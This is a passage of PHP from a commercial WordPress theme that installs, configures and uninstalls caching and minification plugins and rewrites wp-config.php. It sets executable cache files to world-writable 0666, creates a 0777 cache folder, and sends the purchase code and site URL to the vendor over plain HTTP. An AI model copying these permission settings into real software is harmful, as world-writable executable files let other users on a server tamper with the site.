				),
				'cache_purge_pages' =>
				array (
				),
				'purge_cron_interval' => 10,
				'purge_cron_unit' => 'HOUR_IN_SECONDS',
				'exclude_css' =>
				array (
				),
				'exclude_js' =>
				array (
				),
				'exclude_inline_js' =>
				array (
				),
				'defer_all_js' => 0,
				'async_css' => 0,
				'critical_css' => '',
				'lazyload' => 0,
				'lazyload_iframes' => 0,
				'lazyload_youtube' => 0,
				'minify_css' => 0,
				'minify_css_key' => str_replace( '.', '', uniqid( '', true )),
				'minify_concatenate_css' => 0,
				'minify_js' => 0,
				'minify_js_key' => str_replace( '.', '', uniqid( '', true )),
				'minify_concatenate_js' => 0,
				'minify_google_fonts' => 1,
				'manual_preload' => 1,
				'sitemap_preload' => 0,
				'sitemap_preload_url_crawl' => '500000',
				'sitemaps' =>
				array (
				),
				'dns_prefetch' =>
				array (
				),
				'preload_fonts' =>
				array (
				),
				'database_revisions' => 0,
				'database_auto_drafts' => 0,
				'database_trashed_posts' => 0,
				'database_spam_comments' => 0,
				'database_trashed_comments' => 0,
				'database_all_transients' => 0,
				'database_optimize_tables' => 0,
				'schedule_automatic_cleanup' => 0,
				'automatic_cleanup_frequency' => '',
				'cdn' => 0,
				'cdn_cnames' =>
				array (
				),
				'cdn_zone' =>
				array (
				),
				'cdn_reject_files' =>
				array (
				),
				'do_cloudflare' => 0,
				'cloudflare_email' => '',
				'cloudflare_api_key' => '',
				'cloudflare_zone_id' => '',
				'cloudflare_devmode' => 0,
				'cloudflare_protocol_rewrite' => 0,
				'cloudflare_auto_settings' => 0,
				'cloudflare_old_settings' => '',
				'control_heartbeat' => 1,
				'heartbeat_site_behavior' => 'reduce_periodicity',
				'heartbeat_admin_behavior' => 'reduce_periodicity',
				'heartbeat_editor_behavior' => 'reduce_periodicity',
				'varnish_auto_purge' => 0,
				'analytics_enabled' => 0,
				'sucury_waf_cache_sync' => 0,
				'sucury_waf_api_key' => '',
				'async_css_mobile' => 1,
				'exclude_defer_js' =>
				array (
				),
				'delay_js' => 1,
				'delay_js_exclusions' =>
				array (
				  0 => 'thegem-pagespeed-lazy-items',
				  1 => '\/jquery-?([0-9.]){0,10}\.(min\.|slim\.|slim\.min\.)?js',
				  2 => 'revslider',
				  3 => 'layerslider',
				  4 => '\(',
				  5 => '\{',
				  6 => '\/recaptcha\/api\.js',
				  7 => 'odometer.js'
				),
				'remove_unused_css' => 0,
				'remove_unused_css_safelist' =>
				array (
				),
				'preload_links' => 1,
				'yoast_xml_sitemap' => 0,
				'image_dimensions' => 0,
				'exclude_lazyload' =>
				array (
				),
				'license' => time(),
				'version' => '3.10.1',
			);

			$response_p = wp_remote_get(add_query_arg(array('code' => $theme_options['purchase_code'], 'info'=>thegem_get_activation_info(), 'site_url' => get_site_url()), esc_url('http://democontent.codex-themes.com/av_validate_code.php')), array('timeout' => 20));
			if(!is_wp_error($response_p)) {
				$rp_data = json_decode($response_p['body'], true);
				if(is_array($rp_data) && isset($rp_data['wp_rocket_settings'])) {
					delete_option('thegem_optimizer_error');
				} else {
					update_option('thegem_optimizer_error', __('Something went wrong during the installation and activation of caching and minifying plugins. Please try again to click on "Reinstall" button or contact our support. Thank you', 'thegem'));
				}
			} else {
				update_option('thegem_optimizer_error', __('Something went wrong during the installation and activation of caching and minifying plugins. Please try again to click on "Reinstall" button or contact our support. Thank you', 'thegem'));
			}

			update_option('wp_rocket_settings', $wpRocketSettings);

			//activate_plugin('wp-rocket/wp-rocket.php');
			activate_plugin('wp-rocket-disable-google-font-optimization/wp-rocket-disable-google-font-optimization.php');
			$theme_options['caching_plugin'] = 'wp_rocket';
			update_option('thegem_theme_options', $theme_options);
		}

		if($optimizer === 'wp-super-cache') {
			global $wp_filesystem;
			$theme_options['caching_plugin'] = 'wp_super_cache';
			update_option('thegem_theme_options', $theme_options);
			$copy_result = false;
			$put_result = false;
			if(is_object( $wp_filesystem ) && !(is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors())) {
				$wp_filesystem->delete(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'advanced-cache.php');
				$copy_result = $wp_filesystem->copy($wp_filesystem->find_folder(THEGEM_THEME_PATH) . '/plugins/super-cache-config/advanced-cache.php', trailingslashit( $wp_filesystem->wp_content_dir() ) . 'advanced-cache.php');
				$wp_filesystem->chmod(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'advanced-cache.php', 0666);
				$wpsc_config_content = $wp_filesystem->get_contents($wp_filesystem->find_folder(THEGEM_THEME_PATH) . '/plugins/super-cache-config/wp-cache-config.php');
				$home_path = parse_url( site_url() );
				$home_path = trailingslashit( array_key_exists( 'path', $home_path ) ? $home_path['path'] : '' );
				$wpsc_config_content = str_replace('$wp_cache_home_path = \'/\';', '$wp_cache_home_path = \''.$home_path.'\';', $wpsc_config_content);
				$wpsc_config_content = str_replace('$cache_page_secret = \'\';', '$cache_page_secret = \''.md5( date( 'H:i:s' ) . mt_rand() ).'\';', $wpsc_config_content);
				$put_result = $wp_filesystem->put_contents(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'wp-cache-config.php', $wpsc_config_content);
				$wp_filesystem->chmod(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'wp-cache-config.php', 0666);
				$wp_config_content = $wp_filesystem->get_contents_array($wp_filesystem->find_folder($wp_filesystem->abspath()) . '/wp-config.php');
				foreach($wp_config_content as $number => $line) {
					if(strpos($line, 'WPCACHEHOME') !== false || strpos($line, 'WP_CACHE') !== false) {
						unset($wp_config_content[$number]);
					}
				}
				$wp_filesystem->put_contents($wp_filesystem->find_folder($wp_filesystem->abspath()) . '/wp-config.php', implode("\n", $wp_config_content));
				$wp_config_content = $wp_filesystem->get_contents($wp_filesystem->find_folder($wp_filesystem->abspath()) . '/wp-config.php');
				if(strpos($wp_config_content, 'WPCACHEHOME') === false) {
					$wp_config_content = str_replace('<?php', '<?php'.PHP_EOL.'define( \'WPCACHEHOME\', \''.WP_PLUGIN_DIR . '/wp-super-cache/'.'\');', $wp_config_content);
				}
				if(strpos($wp_config_content, 'WP_CACHE') === false) {
					$wp_config_content = str_replace('<?php', '<?php'.PHP_EOL.'define( \'WP_CACHE\', true);', $wp_config_content);
				}
				$wp_filesystem->put_contents($wp_filesystem->find_folder($wp_filesystem->abspath()) . '/wp-config.php', $wp_config_content);
				if(!$wp_filesystem->exists(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'cache')) {
					$wp_filesystem->mkdir(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'cache', 0777);
				}
			}
			if($copy_result && $put_result) {
				update_option('thegem_enabled_wpsupercache_autoptimize', 1);
				update_option('thegem_wpsupercache_activated', 1);
				activate_plugin('wp-super-cache/wp-cache.php');
			} else {
				update_option('thegem_wpsupercache_error', __('One-click optimization cannot be completed. WP Super Cache configuration file cannot be modified. Please adjust file permissions or deinstall WP Super Cache from your WordPress installation and run one-click optimization again.', 'thegem'));
			}
		}

		// delete old autoptimize options
		$oldAutoptimizeOptions = $wpdb->get_results( "SELECT option_name FROM $wpdb->options WHERE option_name LIKE 'autoptimize_%'" );
		foreach($oldAutoptimizeOptions as $option ) {
			delete_option( $option->option_name );
		}
	
		activate_plugin('autoptimize/autoptimize.php');
	
		// set autoptimize options
		$autoptimizeOptions = array(
			'autoptimize_enable_site_config'        => 'on',
			'autoptimize_js_defer_not_aggregate'    => '',
			'autoptimize_js_defer_inline'           => '',
			'autoptimize_js_trycatch'               => '',
			'autoptimize_js_justhead'               => '',
			'autoptimize_js_include_inline'         => '',
			'autoptimize_js_forcehead'              => '',
			'autoptimize_css_exclude'               => 'admin-bar.min.css, dashicons.min.css, wp-content/cache/, wp-content/uploads/',
			'autoptimize_css_justhead'              => '',
			'autoptimize_css_defer'                 => '',
			'autoptimize_css_defer_inline'          => '',
			'autoptimize_css_inline'                => '',
			'autoptimize_css_datauris'              => '',
			'autoptimize_cdn_url'                   => '',
			'autoptimize_cache_nogzip'              => 'on',
			'autoptimize_optimize_checkout'         => 'on',
			'autoptimize_minify_excluded'           => 'on',
			'autoptimize_cache_fallback'            => 'on',
			'autoptimize_enable_meta_ao_settings'   => 'on',

			'autoptimize_js'=>'on',
			'autoptimize_js_aggregate'=>'on',
			'autoptimize_js_exclude' => 'wp-includes/js/dist/, wp-includes/js/tinymce/, js/jquery/jquery.js, js/jquery/jquery.min.js,thegem-pagespeed-lazy-items.js, revslider, layerslider, odometer.js',
			'autoptimize_css'=>'on',
			'autoptimize_css_aggregate'=>'on',
			'autoptimize_css_include_inline'=>'',
			'autoptimize_html'=>'on',
			'autoptimize_html_keepcomments'=>'on',
			'autoptimize_optimize_logged'=>'',
		);

		foreach($autoptimizeOptions as $optName => $optValue) {
			update_option($optName, $optValue);
		}

		$autoptimize_extra_defaults = array(
			'autoptimize_extra_checkbox_field_1' => '1',
			'autoptimize_extra_checkbox_field_0' => '0',
			'autoptimize_extra_radio_field_4' => '1',
			'autoptimize_extra_text_field_2' => '',
			'autoptimize_extra_text_field_3' => '',
			'autoptimize_extra_text_field_7' => '',
			'autoptimize_extra_checkbox_field_8' => '0',
		);
		update_option('autoptimize_extra_settings', $autoptimize_extra_defaults);

	} elseif( $installed_result === 'error_purchase' ) {
		update_option('thegem_wpsupercache_error', __('Purchase code verification failed. One-click optimization has been aborted.', 'thegem'));
	} else {
		update_option('thegem_wpsupercache_error', __('One-click optimization failed. Caching or minifying plugin could not be installed. Please check your folders permissions and try again.', 'thegem'));
	}
	echo '</div>';

	?>
	<script type="text/javascript">
		window.addEventListener('load', function() {
			<?php if ($installed) { ?>
				window.location.href='admin.php?page=thegem-theme-options#/performance/page-speed';
			<?php } else { ?>
				document.getElementById('thegem-downgrade-overlay').style.display = 'none';
			<?php } ?>
		});
	</script>
	<?php
}

add_action('admin_menu', 'thegem_install_optimizers_admin_menu', 71);

function thegem_uninstall_optimizers_admin_menu() {
	add_submenu_page(null, esc_html__('Uninstall TheGem Optimizers','thegem'), esc_html__('Uninstall TheGem Optimizers','thegem'), 'edit_theme_options', 'thegem-uninstall-optimizers', 'thegem_uninstall_optimizers', 0);
}

function thegem_uninstall_optimizers() {
	$uninstalled = false;
	echo '<style>.thegem-downgrade-panel .wrap+.wrap form{display:none}.thegem-downgrade-panel .wrap:first-child a,.thegem-downgrade-panel .wrap:first-child iframe{display:none} .blink_me {animation: blinker 1s linear infinite;} @keyframes blinker {50% {opacity: 0;}}</style>';
	echo '<div id="thegem-downgrade-overlay" style="position: fixed;display:flex;align-items:center;justify-content:center;width: 100%;height: 100%;top: 0;left: 0;right: 0;bottom: 0;font-size:24px;color:#ffffff;background-color: rgba(51,58,66,0.99);z-index: 9999;"><span>'.esc_html__( 'Processing the one click optimization. Please wait', 'thegem' ).'</span><span class="blink_me">...</span></div>';
	echo '<div class="thegem-downgrade-panel">';
	remove_all_filters( 'pre_set_site_transient_update_plugins' );
	remove_filter('nonce_life', 'thegem_nonce_life');
	require_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );

	$url = wp_nonce_url('admin.php?page=thegem-uninstall-optimizers','thegem-theme-options');
	if (false === ($creds = request_filesystem_credentials($url) ) ) {

	} elseif(!WP_Filesystem($creds)) {
		request_filesystem_credentials($url, '', true);
	}
	if(get_option('thegem_enabled_wpsupercache_autoptimize') && function_exists('wpsc_init')) {
		global $wp_filesystem;
		if(is_object( $wp_filesystem ) && !(is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors())) {
			$result = $wp_filesystem->delete(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'advanced-cache.php');
			$result = $wp_filesystem->delete(trailingslashit( $wp_filesystem->wp_content_dir() ) . 'wp-cache-config.php');
			$wp_config_content = $wp_filesystem->get_contents_array($wp_filesystem->find_folder($wp_filesystem->abspath()) . '/wp-config.php');
			foreach($wp_config_content as $number => $line) {
				if(strpos($line, 'WPCACHEHOME') !== false || strpos($line, 'WP_CACHE') !== false) {
					unset($wp_config_content[$number]);
				}
			}
			$wp_filesystem->put_contents($wp_filesystem->find_folder($wp_filesystem->abspath()) . '/wp-config.php', implode("\n", $wp_config_content));

			deactivate_plugins(['wp-super-cache/wp-cache.php'], true);
			delete_option('thegem_enabled_wpsupercache_autoptimize');
			$uninstalled = true;
		}
	}

	echo '</div>';

	?>
	<script type="text/javascript">
		window.addEventListener('load', function() {
			<?php if ($uninstalled) { ?>
				window.location.href='admin.php?page=thegem-theme-options#/performance/page-speed';
			<?php } else { ?>
				document.getElementById('thegem-downgrade-overlay').style.display = 'none';
			<?php } ?>
		});
	</script>
	<?php
}

add_action('admin_menu', 'thegem_uninstall_optimizers_admin_menu', 71);